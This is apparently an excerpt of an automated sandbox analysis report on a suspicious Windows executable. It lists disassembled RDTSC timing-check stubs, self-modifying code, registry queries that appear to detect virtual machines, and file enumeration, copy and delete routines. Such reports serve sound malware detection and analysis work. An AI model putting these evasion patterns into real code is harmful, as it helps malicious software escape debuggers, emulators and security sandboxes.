Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5FEAF second address: B5FEB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5FEB5 second address: B5FED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F33B8517E9Eh 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E4F8 second address: B5E4FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E4FD second address: B5E50F instructions: 0x00000000 rdtsc 0x00000002 je 00007F33B8517E98h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F33B8517E96h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E50F second address: B5E524 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8C74301h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E7F9 second address: B5E80D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F33B8517E96h 0x00000008 jo 00007F33B8517E96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E80D second address: B5E811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E811 second address: B5E82B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F33B8517EA4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E9EC second address: B5E9FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F33B8C742F6h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E9FE second address: B5EA36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F33B8517EA9h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jmp 00007F33B8517EA1h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5EA36 second address: B5EA3B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5EB7D second address: B5EB84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F500 second address: B5F543 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8C742FEh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F33B8C742FAh 0x00000011 jmp 00007F33B8C742FCh 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 popad 0x0000001a pop eax 0x0000001b js 00007F33B8C742FCh 0x00000021 jnp 00007F33B8C742F6h 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b pushad 0x0000002c popad 0x0000002d pop eax 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F543 second address: B5F55A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33B8517EA1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F55A second address: B5F55E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5FD10 second address: B5FD14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5FD14 second address: B5FD29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F33B8C742FDh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DB0B second address: B5DB4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8517EA8h 0x00000007 jmp 00007F33B8517E9Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F33B8517EA9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DB4F second address: B5DB6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8C74303h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DB6B second address: B5DB6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B63E9E second address: B63EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B8C742FAh 0x00000009 popad 0x0000000a jnl 00007F33B8C742FAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B63EB7 second address: B63EBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66B3B second address: B66B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B66B3F second address: B66B45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B707F3 second address: B707F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B707F7 second address: B707FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B707FB second address: B70801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70801 second address: B70815 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8517E9Fh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70815 second address: B7081B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7E2DD second address: B7E2EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7E2EB second address: B7E2EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7E2EF second address: B7E2F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B80EAB second address: B80EB5 instructions: 0x00000000 rdtsc 0x00000002 js 00007F33B8C7430Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B855B4 second address: B855B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B855B8 second address: B855DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B8C742FDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d push edx 0x0000000e jne 00007F33B8C742F6h 0x00000014 pop edx 0x00000015 push eax 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B855DA second address: B85604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007F33B8517EA3h 0x0000000b jno 00007F33B8517E96h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 jbe 00007F33B8517EA2h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8ED49 second address: B8ED4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8ED4D second address: B8ED69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8517EA2h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8ED69 second address: B8ED6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F5DB second address: B8F5DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F5DF second address: B8F5E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F5E8 second address: B8F611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B8517E9Ch 0x00000009 jmp 00007F33B8517EA8h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F611 second address: B8F617 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F617 second address: B8F629 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F33B8517E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F33B8517E96h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8F629 second address: B8F62D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B90083 second address: B9008D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F33B8517EACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9008D second address: B900B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B8C74300h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e ja 00007F33B8C742F6h 0x00000014 push edx 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 pushad 0x00000019 popad 0x0000001a push edi 0x0000001b pop edi 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B900B5 second address: B900C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F33B8517E96h 0x0000000a jp 00007F33B8517E96h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B91C23 second address: B91C37 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F33B8C742F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F33B8C742F6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B94A85 second address: B94AB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8517E9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F33B8517E9Eh 0x0000000f jmp 00007F33B8517E9Ah 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B94AB4 second address: B94ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B966A9 second address: B966B3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F33B8517E9Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B966B3 second address: B966BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D525 second address: A9D53F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8517EA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D53F second address: A9D544 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D544 second address: A9D569 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B8517EA8h 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D569 second address: A9D573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F33B8C742F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB333E second address: BB335B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8517EA9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB335B second address: BB3361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB3361 second address: BB3366 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB3366 second address: BB3382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F33B8C74301h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB3382 second address: BB338C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F33B8517E9Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA8F58 second address: AA8F6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F33B8C742FFh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB71B1 second address: BB71FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8517EA0h 0x00000007 jnl 00007F33B8517E9Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F33B8517E9Fh 0x00000015 jmp 00007F33B8517E9Bh 0x0000001a pushad 0x0000001b js 00007F33B8517E96h 0x00000021 jnl 00007F33B8517E96h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB7327 second address: BB732B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB732B second address: BB736D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F33B8517E96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push edi 0x0000000f jmp 00007F33B8517EA2h 0x00000014 pop edi 0x00000015 push ecx 0x00000016 jng 00007F33B8517E96h 0x0000001c pop ecx 0x0000001d pushad 0x0000001e jmp 00007F33B8517EA5h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC70D3 second address: BC70DD instructions: 0x00000000 rdtsc 0x00000002 js 00007F33B8C742F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC5F60 second address: BC5F70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8517E9Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC5F70 second address: BC5F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6238 second address: BC623C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC67AB second address: BC67D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007F33B8C742FEh 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jg 00007F33B8C742F6h 0x00000016 push edi 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007F33B8C742FCh 0x0000001e pop edi 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6914 second address: BC6929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F33B8517E9Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6AAA second address: BC6AB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F33B8C742F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6AB6 second address: BC6AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F33B8517E9Bh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9B68 second address: BC9B6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9B6C second address: BC9B70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9FE3 second address: BC9FE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C102B3 second address: 4C102B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C102B8 second address: 4C102D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8C742FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C102D0 second address: 4C102D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C102D4 second address: 4C102E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8C742FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C102E7 second address: 4C10334 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8517EA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b movsx edi, ax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushfd 0x00000011 jmp 00007F33B8517EA6h 0x00000016 add ecx, 365CD338h 0x0000001c jmp 00007F33B8517E9Bh 0x00000021 popfd 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10334 second address: 4C10338 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10338 second address: 4C10352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F33B8517E9Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10352 second address: 4C10358 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10358 second address: 4C10374 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8517E9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov ecx, 2A2BBAE3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C103BA second address: 4C103CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33B8C742FDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C103CB second address: 4C10428 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8517EA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov edx, esi 0x0000000f pushfd 0x00000010 jmp 00007F33B8517EA8h 0x00000015 sub si, 7648h 0x0000001a jmp 00007F33B8517E9Bh 0x0000001f popfd 0x00000020 popad 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F33B8517EA4h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEF84A second address: AEF84E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 931A2A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: ADB3C9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AD9BBE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9319C3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AF2DE2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B6BEB1 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_006E38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006E4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_006DDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_006DE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_006E4570
